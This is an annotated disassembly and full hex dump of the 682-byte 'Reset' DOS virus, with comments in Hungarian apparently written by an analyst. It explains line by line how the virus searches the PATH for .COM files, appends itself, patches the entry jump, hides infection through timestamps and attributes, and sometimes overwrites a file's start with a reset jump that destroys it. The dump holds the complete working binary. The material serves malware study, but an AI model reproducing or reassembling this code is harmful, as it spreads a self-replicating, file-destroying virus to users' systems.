Reset virus. Size 682 byte Hex: 02ac byte.		Comment by Leslie Kovari
								   (41) 21-033



Unassemble list:

114E:0100 E91F00	JMP	0122			;ugras a virus kezdetere
114E:0103 49		DEC	CX
114E:0104 60		DB	60
114E:0105 61		DB	61
114E:0106 6D		DB	6D
114E:0107 206120	AND	[BX+DI+20],AH
114E:010A 52		PUSH	DX
114E:010B 65		DB	65
114E:010C 7365		JNB	0173
114E:010E 7420		JZ	0130
114E:0110 56		PUSH	SI
114E:0111 49		DEC	CX
114E:0112 52		PUSH	DX
114E:0113 55		PUSH	BP
114E:0114 53		PUSH	BX
114E:0115 2124		AND	[SI],SP
114E:0117 BA0301	MOV	DX,0103 		;az eredeti fertozott
							;program kezdete
114E:011A B409		MOV	AH,09
114E:011C CD21		INT	21			;uzenet kepernyore
114E:011E B400		MOV	AH,00
114E:0120 CD20		INT	20			;exit to DOS

114E:0122 51		PUSH	CX			;stack-en marad

			;a kovetkezo utasitas operandusat fertozeskor
			;allitja be, igy mindig a helyes cimre mutat

114E:0123 BA1B03	MOV	DX,031B
114E:0126 FC		CLD				;elore
114E:0127 8BF2		MOV	SI,DX
114E:0129 81C60A00	ADD	SI,000A 		;SI=031b eredeti 3 byte
114E:012D BF0001	MOV	DI,0100 		;program eleje
114E:0130 B90300	MOV	CX,0003 		;3 byte
114E:0133 F3		REPZ
114E:0134 A4		MOVSB				;eredeti JMP 117
							;visszamasolasa
114E:0135 8BF2		MOV	SI,DX
114E:0137 B430		MOV	AH,30
114E:0139 CD21		INT	21			;DOS verzio szam lekerd.
114E:013B 3C00		CMP	AL,00
114E:013D 7503		JNZ	0142
114E:013F E9C701	JMP	0309			;ha 00-as verzio akkor
							;nem fertoz a virus s
							;futtatja az eredeti
							;programot
114E:0142 06		PUSH	ES
114E:0143 B42F		MOV	AH,2F
114E:0145 CD21		INT	21			;DTA. lekerdezese
114E:0147 899C0000	MOV	[SI+0000],BX		;BX= 0080 offset
114E:014B 8C840200	MOV	[SI+0002],ES		;eredeti DTA. mentese
114E:014F 07		POP	ES

			;DTA. beallitasa az ENTRY cimere /dir.-bol/
			;ide masolja a find first a file adatait

114E:0150 BA5F00	MOV	DX,005F 		;DX=037a
114E:0153 90		NOP
114E:0154 03D6		ADD	DX,SI
114E:0156 B41A		MOV	AH,1A
114E:0158 CD21		INT	21			;DTA. letrehozasa
							;037a-tol uj cimre
114E:015A 06		PUSH	ES
114E:015B 56		PUSH	SI
114E:015C 8E062C00	MOV	ES,[002C]		;kornyezet szegmense
114E:0160 BF0000	MOV	DI,0000 		;elejetol ES:DI fog a
							;kovetkezo dir.-ra mu-
							;tatni
114E:0163 5E		POP	SI
114E:0164 56		PUSH	SI
114E:0165 81C61A00	ADD	SI,001A 		;ezen a cimen levo
							;stringet keresi a
							;kornyezetbe PATH
114E:0169 AC		LODSB				;AL=DS:[SI],SI++
114E:016A B90080	MOV	CX,8000 		;32 kbyte
114E:016D F2		REPNZ
114E:016E AE		SCASB				;megkeresi a kovetke-
							;zo P betut
114E:016F B90400	MOV	CX,0004 		;a PATH feliratot keresi
114E:0172 AC		LODSB
114E:0173 AE		SCASB				;betunkent hasonlitja
114E:0174 75ED		JNZ	0163			;ha nem egyezik a DI.
							;karakter /kov.betu/
114E:0176 E2FA		LOOP	0172			;egyezik beolvassa es
							;osszehasonlitja a tobbi
							;betut is
114E:0178 5E		POP	SI
114E:0179 07		POP	ES			;ES:DI mutat az elso
							;PATH-ra
114E:017A 89BC1600	MOV	[SI+0016],DI		;a PATH= szo utani file
							;spec. cimenek mentese
							;PATH mutato
114E:017E 8BFE		MOV	DI,SI			;SI=031b
114E:0180 81C71F00	ADD	DI,001F 		;DI=033a
114E:0184 8BDE		MOV	BX,SI			;BX=031b ezutan BX mu-
							;tat az adatokra
114E:0186 81C61F00	ADD	SI,001F 		;SI=033a
114E:018A 8BFE		MOV	DI,SI			;DI=033a
114E:018C EB3A		JMP	01C8

			;A kovetkezo PATH-ban megadott aldirectoryt
			;File Path-ra masolja, igy a kovetkezo file-t
			;ebben az aldirectoryban keresi

114E:018E 83BC160000	CMP	WORD PTR [SI+0016],+00	;
114E:0193 7503		JNZ	0198
114E:0195 E96301	JMP	02FB			;ha nincs osveny megadva
114E:0198 1E		PUSH	DS
114E:0199 56		PUSH	SI
114E:019A 26		ES:
114E:019B 8E1E2C00	MOV	DS,[002C]		;kornyezet szegmense
114E:019F 8BFE		MOV	DI,SI			;DI=033a
114E:01A1 26		ES:
114E:01A2 8BB51600	MOV	SI,[DI+0016]		;a kornyezetbol a path
							;masolasa ha az aktualis
							;konyvtarban nem talalt
							;fertozheto file-t
							;a PATH= utanra mutat
							;az SI
114E:01A6 81C71F00	ADD	DI,001F
114E:01AA AC		LODSB				;beolvas a kornyezetbol
							;a 0029. byte-ot
114E:01AB 3C3B		CMP	AL,3B			;pontosvesszo ?
114E:01AD 740A		JZ	01B9			;igen
114E:01AF 3C00		CMP	AL,00			;PATH vege ? nem lesz
							;tobb
114E:01B1 7403		JZ	01B6			;igen
114E:01B3 AA		STOSB				;letarol 033a-tol
114E:01B4 EBF4		JMP	01AA

114E:01B6 BE0000	MOV	SI,0000
114E:01B9 5B		POP	BX			;BX=regi SI BX mutat
							;az adatokra
114E:01BA 1F		POP	DS
114E:01BB 89B71600	MOV	[BX+0016],SI

			;a kovetkezo PATH-ban adott dir. mar atmasolva

114E:01BF 807DFF5C	CMP	BYTE PTR [DI-01],5C	; \ jel ?
114E:01C3 7403		JZ	01C8			;igen
114E:01C5 B05C		MOV	AL,5C			;egyebkent \ iras

			;egy aldir. kiertekelese, eloszor az aktualis, majd
			;a file path -ra masolt aldir. vegignezese, fertozes
			;DI a file path-ba irt aldir. neve utani poz.-ra mu-
			;tat

			;COM file keresese

114E:01C7 AA		STOSB				;\ jel beirasa
114E:01C8 89BF1800	MOV	[BX+0018],DI		;ide kell majd a
							;file nevet masolni,
							;az aldir. neve utan
114E:01CC 8BF3		MOV	SI,BX			;SI=031b   DI=033d
114E:01CE 81C61000	ADD	SI,0010 		;SI=032b
114E:01D2 B90600	MOV	CX,0006
114E:01D5 F3		REPZ
114E:01D6 A4		MOVSB				;a *.COM szoveg beirasa
							;a PATH= szoveg utan
114E:01D7 8BF3		MOV	SI,BX
114E:01D9 B44E		MOV	AH,4E			;a file adatai a DTA.
							;alltal foglalt teru-
							;letre
114E:01DB BA1F00	MOV	DX,001F
114E:01DE 90		NOP
114E:01DF 03D6		ADD	DX,SI
114E:01E1 B90300	MOV	CX,0003
114E:01E4 CD21		INT	21			;elso file bejegyzes ke-
							;resese, az it. aktivi-
							;zalasa utan felhozza a
							;filemeretet, attrib.ot
							;keletkezes datumat s
							;idejet is!
114E:01E6 EB04		JMP	01EC			;vizsgalatra
114E:01E8 B44F		MOV	AH,4F
114E:01EA CD21		INT	21			;kovetkezo file bejegy-
							;zes keresese
114E:01EC 7302		JNB	01F0			;ha nincs hiba
114E:01EE EB9E		JMP	018E			;hiba eseten -ha nem
							;talal tobb COM file-t
							;mas aldirt keres
			;mar talalt COM file-t, az adataival az entry fel
			;van toltve, a file ellenorzese es fertozese
			;kovetkezik

114E:01F0 8B847500	MOV	AX,[SI+0075]		;a keletkezesi ido AX-be
							;SI=0390
114E:01F4 241F		AND	AL,1F			;maszk 31 -el
114E:01F6 3C1F		CMP	AL,1F			;ha 31 akkor mar ferto-
							;zott a file!
114E:01F8 74EE		JZ	01E8			;fertozott kovetkezo
							;file-t keresi
114E:01FA 81BC790000FA	CMP	WORD PTR [SI+0079],FA00
114E:0200 77E6		JA	01E8			;ha > a file meret
							;64000 byte-nal
114E:0202 83BC79000A	CMP	WORD PTR [SI+0079],+0A
114E:0207 72DF		JB	01E8			;ha < 10 byte nal
114E:0209 8BBC1800	MOV	DI,[SI+0018]		;DI=033a

			;megvan a kivalasztott file
			;a file nevet a filespec utan kell masolni

114E:020D 56		PUSH	SI			;DI mutat a filespec.re,
							;PATH=*.COM
114E:020E 81C67D00	ADD	SI,007D 		;SI=0398

114E:0212 AC		LODSB				;atmasolja a filenevet
							;/megkeresett elso v.
							;x.edik bejegyzest/
114E:0213 AA		STOSB
114E:0214 3C00		CMP	AL,00			;vegere ert ? nevle-
							;zaro nullaig masol
114E:0216 75FA		JNZ	0212			;nem
114E:0218 5E		POP	SI			;SI ujra az adatokra mu-
							;tat
			;a file egyes eredeti informacioinak megorzese
			;hogy a fertozese ne tunjon fel
			;minek a file ATTR. megegyszer lekerdezni?

114E:0219 B80043	MOV	AX,4300
114E:021C BA1F00	MOV	DX,001F 		;DS:DX = filespec.
114E:021F 90		NOP
114E:0220 03D6		ADD	DX,SI			;DX=031b
114E:0222 CD21		INT	21			;attributum lekerdezese
							;7.6.5.4.3.2.1.0.
							;x x a d v s h r
114E:0224 898C0800	MOV	[SI+0008],CX		;attributum
114E:0228 B80143	MOV	AX,4301
114E:022B 81E1FEFF	AND	CX,FFFE 		;ha Read Only akkor ARC.
							;ra valtoztatja
114E:022F BA1F00	MOV	DX,001F
114E:0232 90		NOP
114E:0233 03D6		ADD	DX,SI			;DX=033a
114E:0235 CD21		INT	21			;attributum beallitasa

			;file nyitasa

114E:0237 B8023D	MOV	AX,3D02
114E:023A BA1F00	MOV	DX,001F
114E:023D 90		NOP
114E:023E 03D6		ADD	DX,SI			;DS:DX = filespec.
114E:0240 CD21		INT	21			;file nyitasa I/O ra
114E:0242 7303		JNB	0247
114E:0244 E9A500	JMP	02EC			;hiba eseten nincs
							;fertozes
114E:0247 8BD8		MOV	BX,AX			;handle

			;a file idejenek lekerdezese de ez is megtalalhato az
			;ENTRY teruleten

114E:0249 B80057	MOV	AX,5700
114E:024C CD21		INT	21			;file letrehozasi datum
							;es ido bekerese
114E:024E 898C0400	MOV	[SI+0004],CX		;ido	CH-ora CL-perc
								DH-sec DL-1/100
114E:0252 89940600	MOV	[SI+0006],DX		;datum
114E:0256 B42C		MOV	AH,2C
114E:0258 CD21		INT	21			;rendszerido bekerese

			;annak eldontese hogy a filet tonkretegye-e
			;ha a masodperc 7 akkor tonkreteszi /aktualis/

114E:025A 80E607	AND	DH,07			;sec = 7 ?
114E:025D 7510		JNZ	026F			;nem - nem tesz tonkre!

			;file tonkretetele

114E:025F B440		MOV	AH,40
114E:0261 B90500	MOV	CX,0005
114E:0264 8BD6		MOV	DX,SI			;reset
114E:0266 81C28A00	ADD	DX,008A 		;DX=03a7 : JMP F000:FFF0
114E:026A CD21		INT	21			;file elejere ir 5 byte
							;-ot a RESET re ugrast!
114E:026C EB65		JMP	02D3

114E:026E 90		NOP

			;fertozes
			;az eredeti 3 byte megorzese hogy kesobb meg futtatni
			;lehessen

114E:026F B43F		MOV	AH,3F
114E:0271 B90300	MOV	CX,0003
114E:0274 BA0A00	MOV	DX,000A
114E:0277 90		NOP
114E:0278 03D6		ADD	DX,SI			;DS:DX = puffer cima DTA
114E:027A CD21		INT	21			;a program eredeti elso
							;3 byte-jat beolvassa
114E:027C 7255		JB	02D3			;ha hiba van
114E:027E 3D0300	CMP	AX,0003 		;megvolt a 3 byte ?
114E:0281 7550		JNZ	02D3			;nem

			;file vegere allas az uj cimek kiszamitasa

114E:0283 B80242	MOV	AX,4202
114E:0286 B90000	MOV	CX,0000
114E:0289 BA0000	MOV	DX,0000
114E:028C CD21		INT	21			;file vegere pozicional
114E:028E 7243		JB	02D3			;ha hiba volt -nem
							;nagyon lehet hiba!

			;file elejere irando JMP operandus kiszamitasa

114E:0290 8BC8		MOV	CX,AX			;AX-ben filehossz
114E:0292 2D0300	SUB	AX,0003 		;AX-ben eltolas a JMP
							;utasitashoz amit a
							;file elejere fog irni
							;igy a JMP a file mos-
							;tani vege utani bytera
							;fog mutatni
114E:0295 89840E00	MOV	[SI+000E],AX		;JMP cim

			;az uj file-on beluli adatterulet cimenek ki-
			;szamitasa es beallitasa

114E:0299 81C1F902	ADD	CX,02F9 		;az uj file-on beluli
							;adatteruletre mutat
114E:029D 8BFE		MOV	DI,SI
114E:029F 81EFF701	SUB	DI,01F7 		;virus elso utasitasa-
							;nak operandusanak
							;cime
114E:02A3 890D		MOV	[DI],CX 		;ide irja az adatterulet
							;cimet

			;file moge masolja magat
			;filemutato a file vegere mutat

114E:02A5 B440		MOV	AH,40
114E:02A7 B98802	MOV	CX,0288 		;a VIRUS hossza
114E:02AA 8BD6		MOV	DX,SI			;virus elso bytejara
							;mutat
114E:02AC 81EAF901	SUB	DX,01F9
114E:02B0 CD21		INT	21			;a FERTOZES onmagat a
							;program a fertozendo
							;program moge irja
114E:02B2 721F		JB	02D3			;hiba eseten
114E:02B4 3D8802	CMP	AX,0288 		;kiirta onmagat ?
114E:02B7 751A		JNZ	02D3			;igen

			;az elso 3 byte atallitasa, egy file
			;vegere mutato ugro utasitasra

114E:02B9 B80042	MOV	AX,4200
114E:02BC B90000	MOV	CX,0000
114E:02BF BA0000	MOV	DX,0000
114E:02C2 CD21		INT	21			;file pointer a vegere
114E:02C4 720D		JB	02D3			;ha volt hiba -nem le-
							;het hiba!
114E:02C6 B440		MOV	AH,40
114E:02C8 B90300	MOV	CX,0003
114E:02CB 8BD6		MOV	DX,SI
114E:02CD 81C20D00	ADD	DX,000D 		;DX=0329 ugro utasitasra
							;mutat
114E:02D1 CD21		INT	21			;3 byte kiirasa a fileba

			;az eredeti ido -mar a fertozesjelzessel egyutt-
			;visszaallitasa

114E:02D3 8B940600	MOV	DX,[SI+0006]		;datum
114E:02D7 8B8C0400	MOV	CX,[SI+0004]		;ido
114E:02DB 81E1E0FF	AND	CX,FFE0 		;sec=0 -felesleges!
114E:02DF 81C91F00	OR	CX,001F 		;sec=1f azaz 31, igy
							;jelzi hogy mar ferto-
							;zott egy file a SEC.
							;-et 31-re allitja a
							;file bejegyzesben
							; hour |  min. | sec.
							;1111 1|111 111|0 0000
114E:02E3 B80157	MOV	AX,5701
114E:02E6 CD21		INT	21			;file keletk. ido beall.

			;file zarasa

114E:02E8 B43E		MOV	AH,3E
114E:02EA CD21		INT	21			;file zarasa

			;eredeti attributum visszaallitasa

114E:02EC B80143	MOV	AX,4301
114E:02EF 8B8C0800	MOV	CX,[SI+0008]		;CX=0020 /ARC./
114E:02F3 BA1F00	MOV	DX,001F
114E:02F6 90		NOP

			;DTA. visszaallitasa az eredeti cimre

114E:02F7 03D6		ADD	DX,SI
114E:02F9 CD21		INT	21			;file attr. beallitasa
114E:02FB 1E		PUSH	DS
114E:02FC B41A		MOV	AH,1A
114E:02FE 8B940000	MOV	DX,[SI+0000]
114E:0302 8E9C0200	MOV	DS,[SI+0002]
114E:0306 CD21		INT	21			;DTA. megadasa
114E:0308 1F		POP	DS

			;az eredeti program futtatasa

114E:0309 59		POP	CX
114E:030A 33C0		XOR	AX,AX			;reg. nullazasa
114E:030C 33DB		XOR	BX,BX
114E:030E 33D2		XOR	DX,DX
114E:0310 33F6		XOR	SI,SI
114E:0312 BF0001	MOV	DI,0100
114E:0315 57		PUSH	DI			;elteszi a 0100 offsetet
							;hogy a RET elo tudja
							;venni es odaugrik
114E:0316 33FF		XOR	DI,DI
114E:0318 C2FFFF	RET	FFFF			;ugras a 0100-as offset-
							;re, ott mar az eredeti
							;JMP 117 utasitas van,
							;igy vegrehajtodik az
							;eredeti prg.
							;SP- hogy minek ?
114E:031B 800046	ADD	BYTE PTR [BX+SI],46
114E:031E 0D2001	OR	AX,0120
114E:0321 2100		AND	[BX+SI],AX
114E:0323 2000		AND	[BX+SI],AL
114E:0325 EB15		JMP	033C
114E:0327 90		NOP
114E:0328 E91F00	JMP	034A
114E:032B 2A2E434F	SUB	CH,[4F43]
114E:032F 4D		DEC	BP
114E:0330 0028		ADD	[BX+SI],CH
114E:0332 004703	ADD	[BX+03],AL
114E:0335 50		PUSH	AX
114E:0336 41		INC	CX
114E:0337 54		PUSH	SP
114E:0338 48		DEC	AX
114E:0339 3D5245	CMP	AX,4552
114E:033C 53		PUSH	BX
114E:033D 45		INC	BP
114E:033E 54		PUSH	SP
114E:033F 2E		CS:
114E:0340 43		INC	BX
114E:0341 4F		DEC	DI
114E:0342 4D		DEC	BP
114E:0343 0000		ADD	[BX+SI],AL
114E:0345 0000		ADD	[BX+SI],AL
114E:0347 4D		DEC	BP
114E:0348 004449	ADD	[SI+49],AL
114E:034B 54		PUSH	SP
114E:034C 2E		CS:
114E:034D 43		INC	BX
114E:034E 4F		DEC	DI
114E:034F 4D		DEC	BP
114E:0350 0000		ADD	[BX+SI],AL
114E:0352 2020		AND	[BX+SI],AH
114E:0354 2020		AND	[BX+SI],AH
114E:0356 2020		AND	[BX+SI],AH
114E:0358 2020		AND	[BX+SI],AH
114E:035A 2020		AND	[BX+SI],AH
114E:035C 2020		AND	[BX+SI],AH
114E:035E 2020		AND	[BX+SI],AH
114E:0360 2020		AND	[BX+SI],AH
114E:0362 2020		AND	[BX+SI],AH
114E:0364 2020		AND	[BX+SI],AH
114E:0366 2020		AND	[BX+SI],AH
114E:0368 2020		AND	[BX+SI],AH
114E:036A 2020		AND	[BX+SI],AH
114E:036C 2020		AND	[BX+SI],AH
114E:036E 2020		AND	[BX+SI],AH
114E:0370 2020		AND	[BX+SI],AH
114E:0372 2020		AND	[BX+SI],AH
114E:0374 2020		AND	[BX+SI],AH
114E:0376 2020		AND	[BX+SI],AH
114E:0378 2020		AND	[BX+SI],AH
114E:037A 013F		ADD	[BX],DI
114E:037C 3F		AAS
114E:037D 3F		AAS
114E:037E 3F		AAS
114E:037F 3F		AAS
114E:0380 3F		AAS
114E:0381 3F		AAS
114E:0382 3F		AAS
114E:0383 43		INC	BX
114E:0384 4F		DEC	DI
114E:0385 4D		DEC	BP
114E:0386 0301		ADD	AX,[BX+DI]
114E:0388 0000		ADD	[BX+SI],AL
114E:038A 002E8B26	ADD	[268B],CH
114E:038E 68		DB	68
114E:038F 2020		AND	[BX+SI],AH
114E:0391 0121		ADD	[BX+DI],SP
114E:0393 0022		ADD	[BP+SI],AH
114E:0395 0000		ADD	[BX+SI],AL
114E:0397 005245	ADD	[BP+SI+45],DL
114E:039A 53		PUSH	BX
114E:039B 45		INC	BP
114E:039C 54		PUSH	SP
114E:039D 2E		CS:
114E:039E 43		INC	BX
114E:039F 4F		DEC	DI
114E:03A0 4D		DEC	BP
114E:03A1 0000		ADD	[BX+SI],AL
114E:03A3 4D		DEC	BP
114E:03A4 00EA		ADD	DL,CH
114E:03A6 F0		LOCK
114E:03A7 FF00		INC	WORD PTR [BX+SI]
114E:03A9 F0		LOCK
114E:03AA 16		PUSH	SS
114E:03AB 7C14		JL	03C1

Dump list:

114E:0000  CD 20 00 A0 00 9A F0 FE-1D F0 F4 02 84 0D 2F 03   . ............/.
114E:0010  84 0D BC 02 84 0D 4C 0D-01 03 01 00 02 FF FF FF   ......L.........
114E:0020  FF FF FF FF FF FF FF FF-FF FF FF FF 44 11 4C 01   ............D.L.
114E:0030  BE 10 14 00 18 00 4E 11-FF FF FF FF 00 00 00 00   ......N.........
114E:0040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
114E:0050  CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20   .!...........
114E:0060  20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20	     .....
114E:0070  20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00	     ........
114E:0080  01 20 0D 65 73 65 74 76-2E 63 6F 6D 20 0D 63 3A   . .esetv.com .c:
114E:0090  0D 65 6B 5C 64 62 61 73-65 3B 63 3A 5C 6E 79 65   .ek\dbase;c:\nye
114E:00A0  6C 76 65 6B 5C 63 6C 69-70 70 65 72 3B 63 3A 5C   lvek\clipper;c:\
114E:00B0  6E 79 65 6C 76 65 6B 5C-66 6C 61 73 68 3B 63 3A   nyelvek\flash;c:
114E:00C0  5C 6E 79 65 6C 76 65 6B-5C 70 61 73 63 61 6C 3B   \nyelvek\pascal;
114E:00D0  63 3A 5C 75 74 69 6C 0D-00 00 00 00 00 00 00 00   c:\util.........
114E:00E0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
114E:00F0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
114E:0100  E9 1F 00 49 60 61 6D 20-61 20 52 65 73 65 74 20   ...I`am a Reset
114E:0110  56 49 52 55 53 21 24 BA-03 01 B4 09 CD 21 B4 00   VIRUS!$......!..
114E:0120  CD 20 51 BA 1B 03 FC 8B-F2 81 C6 0A 00 BF 00 01   . Q.............
114E:0130  B9 03 00 F3 A4 8B F2 B4-30 CD 21 3C 00 75 03 E9   ........0.!<.u..
114E:0140  C7 01 06 B4 2F CD 21 89-9C 00 00 8C 84 02 00 07   ..../.!.........
114E:0150  BA 5F 00 90 03 D6 B4 1A-CD 21 06 56 8E 06 2C 00   ._.......!.V..,.
114E:0160  BF 00 00 5E 56 81 C6 1A-00 AC B9 00 80 F2 AE B9   ...^V...........
114E:0170  04 00 AC AE 75 ED E2 FA-5E 07 89 BC 16 00 8B FE   ....u...^.......
114E:0180  81 C7 1F 00 8B DE 81 C6-1F 00 8B FE EB 3A 83 BC   .............:..
114E:0190  16 00 00 75 03 E9 63 01-1E 56 26 8E 1E 2C 00 8B   ...u..c..V&..,..
114E:01A0  FE 26 8B B5 16 00 81 C7-1F 00 AC 3C 3B 74 0A 3C   .&.........<;t.<
114E:01B0  00 74 03 AA EB F4 BE 00-00 5B 1F 89 B7 16 00 80   .t.......[......
114E:01C0  7D FF 5C 74 03 B0 5C AA-89 BF 18 00 8B F3 81 C6   }.\t..\.........
114E:01D0  10 00 B9 06 00 F3 A4 8B-F3 B4 4E BA 1F 00 90 03   ..........N.....
114E:01E0  D6 B9 03 00 CD 21 EB 04-B4 4F CD 21 73 02 EB 9E   .....!...O.!s...
114E:01F0  8B 84 75 00 24 1F 3C 1F-74 EE 81 BC 79 00 00 FA   ..u.$.<.t...y...
114E:0200  77 E6 83 BC 79 00 0A 72-DF 8B BC 18 00 56 81 C6   w...y..r.....V..
114E:0210  7D 00 AC AA 3C 00 75 FA-5E B8 00 43 BA 1F 00 90   }...<.u.^..C....
114E:0220  03 D6 CD 21 89 8C 08 00-B8 01 43 81 E1 FE FF BA   ...!......C.....
114E:0230  1F 00 90 03 D6 CD 21 B8-02 3D BA 1F 00 90 03 D6   ......!..=......
114E:0240  CD 21 73 03 E9 A5 00 8B-D8 B8 00 57 CD 21 89 8C   .!s........W.!..
114E:0250  04 00 89 94 06 00 B4 2C-CD 21 80 E6 07 75 10 B4   .......,.!...u..
114E:0260  40 B9 05 00 8B D6 81 C2-8A 00 CD 21 EB 65 90 B4   @..........!.e..
114E:0270  3F B9 03 00 BA 0A 00 90-03 D6 CD 21 72 55 3D 03   ?..........!rU=.
114E:0280  00 75 50 B8 02 42 B9 00-00 BA 00 00 CD 21 72 43   .uP..B.......!rC
114E:0290  8B C8 2D 03 00 89 84 0E-00 81 C1 F9 02 8B FE 81   ..-.............
114E:02A0  EF F7 01 89 0D B4 40 B9-88 02 8B D6 81 EA F9 01   ......@.........
114E:02B0  CD 21 72 1F 3D 88 02 75-1A B8 00 42 B9 00 00 BA   .!r.=..u...B....
114E:02C0  00 00 CD 21 72 0D B4 40-B9 03 00 8B D6 81 C2 0D   ...!r..@........
114E:02D0  00 CD 21 8B 94 06 00 8B-8C 04 00 81 E1 E0 FF 81   ..!.............
114E:02E0  C9 1F 00 B8 01 57 CD 21-B4 3E CD 21 B8 01 43 8B   .....W.!.>.!..C.
114E:02F0  8C 08 00 BA 1F 00 90 03-D6 CD 21 1E B4 1A 8B 94   ..........!.....
114E:0300  00 00 8E 9C 02 00 CD 21-1F 59 33 C0 33 DB 33 D2   .......!.Y3.3.3.
114E:0310  33 F6 BF 00 01 57 33 FF-C2 FF FF 80 00 46 0D 20   3....W3......F.
114E:0320  01 21 00 20 00 EB 15 90-E9 1F 00 2A 2E 43 4F 4D   .!. .......*.COM
114E:0330  00 28 00 47 03 50 41 54-48 3D 52 45 53 45 54 2E   .(.G.PATH=RESET.
114E:0340  43 4F 4D 00 00 00 00 4D-00 44 49 54 2E 43 4F 4D   COM....M.DIT.COM
114E:0350  00 00 20 20 20 20 20 20-20 20 20 20 20 20 20 20   ..
114E:0360  20 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20
114E:0370  20 20 20 20 20 20 20 20-20 20 01 3F 3F 3F 3F 3F	       .?????
114E:0380  3F 3F 3F 43 4F 4D 03 01-00 00 00 2E 8B 26 68 20   ???COM.......&h
114E:0390  20 01 21 00 22 00 00 00-52 45 53 45 54 2E 43 4F    .!."...RESET.CO
114E:03A0  4D 00 00 4D 00 EA F0 FF-00 F0 16 7C 14	     M..M.......|.